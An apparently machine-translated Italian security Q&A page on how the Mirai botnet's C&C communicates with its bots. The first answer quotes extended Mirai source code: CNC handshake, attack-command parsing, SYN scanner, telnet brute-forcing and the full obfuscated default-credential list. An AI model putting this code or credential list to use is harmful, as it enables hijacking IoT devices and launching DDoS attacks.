Come funziona il C & C di Mirai con i suoi bot?

5

Mi chiedo come funzionano le reti bot basate su Mirai. Nello specifico, voglio capire i meccanismi di comunicazione tra i server C & C ei suoi bot. Dopo aver letto questa domanda ho capito che un robot trova un server C & C con una query DNS dopo essere stato infettato.

Ma come comunica il server C & C con i suoi bot? Ad esempio se vuole che attacchino. Quali protocolli sono usati qui? La comunicazione è crittografata?

Come programmatore mi piacerebbe vedere le risposte in riferimento al codice sorgente di Mirai

. >     
posta Phonolog 16.02.2017 - 22:21
fonte

2 risposte

18

Penso che risponderò direttamente alla tua domanda da quando hai menzionato che hai capito che "un robot trova un server C & C con una query DNS dopo essere stato infettato. (tornerò a questa affermazione in fondo)

Per rispondere alla tua domanda, dobbiamo approfondire altrove perché ci sono molte parti nel codice sorgente.

1. how does the C&C server communicate with its bots?

Nel codice puoi vedere varie aree di comunicazione

// Set up CNC sockets
if (fd_serv == -1)
establish_connection();

e

static void establish_connection(void)
{
#ifdef DEBUG
    printf("[main] Attempting to connect to CNC\n");
#endif

C & C è inizializzato qui in questa parte del codice.

table_unlock_val(TABLE_CNC_DOMAIN);
entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL));
table_lock_val(TABLE_CNC_DOMAIN);

Dopo di che quando Mirai riesce a raggiungere C & C con successo. La connettività a C & C avrà luogo.

table_unlock_val(TABLE_CNC_PORT);
srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));
table_lock_val(TABLE_CNC_PORT);

Affinché Mirai si connetta al C & C, tutto ciò che deve fare è inviare 4 byte al C & C;

                LOCAL_ADDR = util_local_addr();
                send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
                send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);
                if (id_len > 0)
                {
                    send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
                }

Quindi proverà a mantenere la connessione qui

if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {

2. For example if it wants them to attack.

Per le macchine infettate da Mirai, sono impostate in loop infinito in attesa di comandi dal server C & C.

Quando i comandi sono ricevuti da C & C. Questi codici sono quelli che invocano la parte di attacco.

void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *);

Che a sua volta verrà eseguito

void attack_parse(char *buf, int len)
{
    int i;
    uint32_t duration;
ATTACK_VECTOR vector;
uint8_t targs_len, opts_len;
struct attack_target *targs = NULL;
struct attack_option *opts = NULL;

// Read in attack duration uint32_t
if (len < sizeof (uint32_t))
    goto cleanup;
duration = ntohl(*((uint32_t *)buf));
buf += sizeof (uint32_t);
len -= sizeof (uint32_t);

// Read in attack ID uint8_t
if (len == 0)
    goto cleanup;
vector = (ATTACK_VECTOR)*buf++;
len -= sizeof (uint8_t);

// Read in target count uint8_t
if (len == 0)
    goto cleanup;
targs_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
if (targs_len == 0)
    goto cleanup;

// Read in all targs
if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))
    goto cleanup;
targs = calloc(targs_len, sizeof (struct attack_target));
for (i = 0; i < targs_len; i++)
{
    targs[i].addr = *((ipv4_t *)buf);
    buf += sizeof (ipv4_t);
    targs[i].netmask = (uint8_t)*buf++;
    len -= (sizeof (ipv4_t) + sizeof (uint8_t));

    targs[i].sock_addr.sin_family = AF_INET;
    targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;
}

// Read in flag count uint8_t
if (len < sizeof (uint8_t))
    goto cleanup;
opts_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);

// Read in all opts
if (opts_len > 0)
{
    opts = calloc(opts_len, sizeof (struct attack_option));
    for (i = 0; i < opts_len; i++)
    {
        uint8_t val_len;

        // Read in key uint8
        if (len < sizeof (uint8_t))
            goto cleanup;
        opts[i].key = (uint8_t)*buf++;
        len -= sizeof (uint8_t);

        // Read in data length uint8
        if (len < sizeof (uint8_t))
            goto cleanup;
        val_len = (uint8_t)*buf++;
        len -= sizeof (uint8_t);

        if (len < val_len)
            goto cleanup;
        opts[i].val = calloc(val_len + 1, sizeof (char));
        util_memcpy(opts[i].val, buf, val_len);
        buf += val_len;
        len -= val_len;
    }
}

errno = 0;
attack_start(duration, vector, targs_len, targs, opts_len, opts);

3. Which protocols are used here?

La comunicazione tra i bot e il C & C avviene attraverso i protocolli "binari". Il comando degli attacchi binari viene passato alla funzione QueueBuf di seguito e verrà inserito in una coda di buffer.

func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) {
attack := &AttackSend{buf, maxbots, botCata}
this.atkQueue <- attack
}

Successivamente il canale atkQueue riceverà il comando impostato nel buffer se l'unità bot.

func (this *ClientList) worker() {
rand.Seed(time.Now().UTC().UnixNano())

for {
    select {
    case add := <-this.addQueue:
        this.totalCount <- 1
        this.uid++
        add.uid = this.uid
        this.clients[add.uid] = add
        break
    case del := <-this.delQueue:
        this.totalCount <- -1
        delete(this.clients, del.uid)
        break
    case atk := <-this.atkQueue:
        if atk.count == -1 {
            for _,v := range this.clients {
                if atk.botCata == "" || atk.botCata == v.source {
                    v.QueueBuf(atk.buf)
                }
            }
        } else {
            var count int
            for _, v := range this.clients {
                if count > atk.count {
                    break
                }
                if atk.botCata == "" || atk.botCata == v.source {
                    v.QueueBuf(atk.buf)
                    count++
                }
            }
        }

4. Is the communication encrypted?

Le comunicazioni non sono crittografate se stai pensando a SSL. Se sei connesso al C & C e sei in grado di vedere il flusso di traffico, sarà visibile il protocollo del flusso binario insieme ai comandi di attacco.

Tuttavia i comandi e il nome host e le porte sono tutti crittografati come si vede nei codici.

void table_init(void)
{
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
add_entry(TABLE_CNC_PORT, "\x22\x35", 2);   // 23

add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2);         // 48101

Infine, elaborando la tua dichiarazione 'che un bot trova un server C & C con una query DNS dopo essere stato infettato.'

Il bot cerca un nome di dominio. Il motivo è che se un C & C ha bisogno di un cambiamento di IP; il bot che sta cercando il nuovo C & C sarà ancora in grado di trovarlo. I nomi di dominio possono sempre essere indirizzati a diversi indirizzi IP.

5. So how does Mirai target IOT devices?

L'originale Mirai cerca dispositivi con busybox installata. Questa risposta è diretta al Mirai originale. Come saprai, i i codici sorgente Mirai sono ora pubblici e non lo sono sorprendente vedere le varianti di Mirai in the wild che eseguono attacchi diversi se non più sofisticati.

La scansione SYN sul socket viene eseguita e attraversando diversi indirizzi IP di destinazione. È usato perché è veloce e consente di sondare più porte

    // Set up raw socket scanning and payload
    if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
    {
    #ifdef DEBUG
        printf("[scanner] Failed to initialize raw socket, cannot scan\n");
    #endif
        exit(0);
    }

Mirai proverà ad ascoltare le risposte dai bersagli dopo la scansione SYN

        if (fake_time != last_spew)
        {
            last_spew = fake_time;

            for (i = 0; i < SCANNER_RAW_PPS; i++)
            {
                struct sockaddr_in paddr = {0};
                struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
                struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

                iph->id = rand_next();
                iph->saddr = LOCAL_ADDR;
                iph->daddr = get_random_ip();
                iph->check = 0;
                iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

                if (i % 10 == 0)
                {
                    tcph->dest = htons(2323);
                }
                else
                {
                    tcph->dest = htons(23);
                }
                tcph->seq = iph->daddr;
                tcph->check = 0;
                tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));

                paddr.sin_family = AF_INET;
                paddr.sin_addr.s_addr = iph->daddr;
                paddr.sin_port = tcph->dest;

                sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
            }
        }

La ricerca di bersagli è casuale, quindi passerà nuovamente al successivo rilevamento dell'indirizzo ip.

    static ipv4_t get_random_ip(void)
    {
    uint32_t tmp;
    uint8_t o1, o2, o3, o4;
    do
    {
        tmp = rand_next();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );

    return INET_ADDR(o1,o2,o3,o4);
    }

Mirai passerà alla fase successiva in un tipico handshake TCP e invierà un tentativo di pacchetto ACK per ottenere una risposta dalla destinazione ed eseguire un'analisi se una porta è aperta. Targeting TCP / 23 e TCP / 2323

    last_avail_conn = 0;
    while (TRUE)
    {
    int n;
    char dgram[1514];
    struct iphdr *iph = (struct iphdr *)dgram;
    struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
    struct scanner_connection *conn;

    errno = 0;
    n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
    if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
        break;

    if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
        continue;
    if (iph->daddr != LOCAL_ADDR)
        continue;
    if (iph->protocol != IPPROTO_TCP)
        continue;
    if (tcph->source != htons(23) && tcph->source != htons(2323))
        continue;
    if (tcph->dest != source_port)
        continue;
    if (!tcph->syn)
        continue;
    if (!tcph->ack)
        continue;
    if (tcph->rst)
        continue;
    if (tcph->fin)
        continue;
    if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
        continue;

    conn = NULL;
    for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
    {
        if (conn_table[n].state == SC_CLOSED)
        {
            conn = &conn_table[n];
            last_avail_conn = n;
            break;
        }
    }

Una volta finita. Una sessione TCP viene quindi stabilita tra Mirai e il target.

        FD_ZERO(&fdset_rd);
        FD_ZERO(&fdset_wr);
        for (i = 0; i < SCANNER_MAX_CONNS; i++)
        {
            int timeout;

            conn = &conn_table[i];
            timeout = (conn->state > SC_CONNECTING ? 30 : 5);

            if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
            {
    #ifdef DEBUG
                printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
    #endif
                close(conn->fd);
                conn->fd = -1;

                // Retry
                if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
                {
                    if (++(conn->tries) == 10)
                    {
                        conn->tries = 0;
                        conn->state = SC_CLOSED;
                    }
                    else
                    {
                        setup_connection(conn);
    #ifdef DEBUG
                        printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
    #endif
                    }
                }
                else
                {
                    conn->tries = 0;
                    conn->state = SC_CLOSED;
                }
                continue;
            }

Mirai eseguirà quindi l'enumerazione delle password qui

            if (FD_ISSET(conn->fd, &fdset_rd))
            {
                while (TRUE)
                {
                    int ret;

                    if (conn->state == SC_CLOSED)
                        break;

                    if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
                    {
                        memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
                        conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
                    }
                    errno = 0;
                    ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
                    if (ret == 0)
                    {
    #ifdef DEBUG
                        printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
    #endif
                        errno = ECONNRESET;
                        ret = -1; // Fall through to closing connection below
                    }
                    if (ret == -1)
                    {
                        if (errno != EAGAIN && errno != EWOULDBLOCK)
                        {
    #ifdef DEBUG
                            printf("[scanner] FD%d lost connection\n", conn->fd);
    #endif
                            close(conn->fd);
                            conn->fd = -1;

                            // Retry
                            if (++(conn->tries) >= 10)
                            {
                                conn->tries = 0;
                                conn->state = SC_CLOSED;
                            }
                            else
                            {
                                setup_connection(conn);
    #ifdef DEBUG
                                printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
    #endif
                            }
                        }

e tentare di accedere utilizzando password deboli e password predefinite.

    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511
    add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);                  // root     xmhdipc
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);                  // root     default
     add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);              // root     juantech
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);                      // root     123456
    add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5);                          // root     54321
    add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);      // support  support
    add_auth_entry("\x50\x4D\x4D\x56", "", 4);                                              // root     (none)
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4);          // admin    password
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4);                              // root     root
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4);                          // root     12345
    add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3);                              // user     user
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3);                                          // admin    (none)
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3);                              // root     pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3);      // admin    admin1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3);                              // root     1111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3);          // admin    smcadmin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2);                          // admin    1111
    add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2);                      // root     666666
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2);              // root     password
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2);                              // root     1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1);                      // root     klv123
    add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
    add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1);      // service  service
    add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
    add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1);                      // guest    guest
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1);      // admin1   password
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
    add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1);              // 666666   666666
    add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1);              // 888888   888888
    add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1);                              // ubnt     ubnt
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1);                  // root     klv1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1);                      // root     Zte521
    add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1);                      // root     hi3518
    add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1);                          // root     jvbzd
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4);                              // root     anko
    add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1);                          // root     zlxx.
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root     7ujMko0vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root     7ujMko0admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1);                      // root     system
    add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1);                              // root     ikwb
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1);              // root     dreambox
    add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1);                              // root     user
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1);                  // root     realtek
    add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1);              // root     00000000
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1);              // admin    1111111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1);                      // admin    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1);                      // admin    54321
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1);                  // admin    123456
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin    7ujMko0admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1);                          // admin    pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1);                  // admin    meinsm
    add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1);                              // tech     tech
    add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1);              // mother   f**ker

Le comunicazioni non sono crittografate se stai pensando a SSL. Se sei connesso al C & C e sei in grado di vedere il flusso di traffico, sarà visibile il protocollo del flusso binario insieme ai comandi di attacco.

Informazioni sui dati binari I dati binari non si riferiscono a un nuovo tipo di comunicazione di livello 4. In sostanza, l'invio e la ricezione di dati binari riguardano più l'inizio e la fine. Come si avvia l'invio e l'interpretazione al punto finale. Ancora come detto nei commenti; I tubi e le prese comunicano i dati binari esattamente come i dati di testo.

Alcuni link per il tuo riferimento

Articolo Mozilla su invio e lettura di dati binari

Guida all'array tipizzato

    
risposta data 20.02.2017 - 20:04
fonte
0

Bene:

Secondo la mia piccola conoscenza:

But how does the C&C server communicate with its bots?

Bene, ci sono molti modi in cui una rete bot può comunicare con C & C: IRC (come detto da Farhan .K , HTTP, ecc ... La maggior parte delle volte il bot si connette a un DNS per ottenere ordini facili. (Non è difficile creare il proprio server http che risponda a poche parole singole, ad esempio "attacco vittima ", ad ogni richiesta). Altre volte, stai collegando il P2P, quindi ogni bot si connette tra loro e i comandi inviati dal botmaster sono realizzati con crittografia (leggi più QUI ).

Nel nostro caso attuale, il malware Mirai è preconfigurato con un tipo di indirizzo risolto da una singola query DNS per connettersi con il server C & C preparato. Una volta che il dispositivo IoT infetto "memorizza" l'IP (può essere modificato da botnet master) riceve un flusso binnary con gli ordini / i comandi.

Which protocols are used here?

Ci sono molti protocolli da usare, HTTP con qualsiasi tipo di risposta, IRC, P2P, ... e probabilmente alcuni altri che non possiamo nemmeno immaginare.

In caso di malware Mirai, sembra che utilizzino i seguenti protocolli:

  • Telnet per accedere ai dispositivi IoT vulnerabili.
  • Query DNS per risolvere l'indirizzo del server C & C
  • Streaming binario non criptato per ricevere ordini dal server C & C.
  • STOMP TCP: per inviare le richieste di flooding.

Ma sarebbe (probabilmente) facile riconfigurare il malware Mirai per utilizzare un altro tipo di protocollo di comunicazione con il server.

Is the communication encrypted?

In caso di botnet di Mirai, le comunicazioni non sono crittografate.

In altre botnet: la maggior parte delle volte non è necessaria, ma in caso di botnet P2P, ma altamente raccomandabile.

As a programmer I'd love to see answers with reference to the source code

Non condividerei il codice sorgente di uno strumento così pericoloso su una rete, ma questa volta è facile scoprire cosa stai cercando.

Qualcuno di nome Anna-Senpai che dovrebbe essere il responsabile di alcuni attacchi, e forse il famoso MIRAI malware; rilasciato quello che dovrebbe essere il codice sorgente MIRAI .

Come postato dal compagno nei commenti, puoi trovarlo qui:

Codice sorgente Mirai

Anche qui puoi trovare alcune altre informazioni utili:

Per ultimo, il mio ultimo consiglio: ricorda che usare questi tipi di strumenti è un crimine e non dovresti mai usarlo per il proprio profitto.

    
risposta data 20.02.2017 - 17:26
fonte

Leggi altre domande sui tag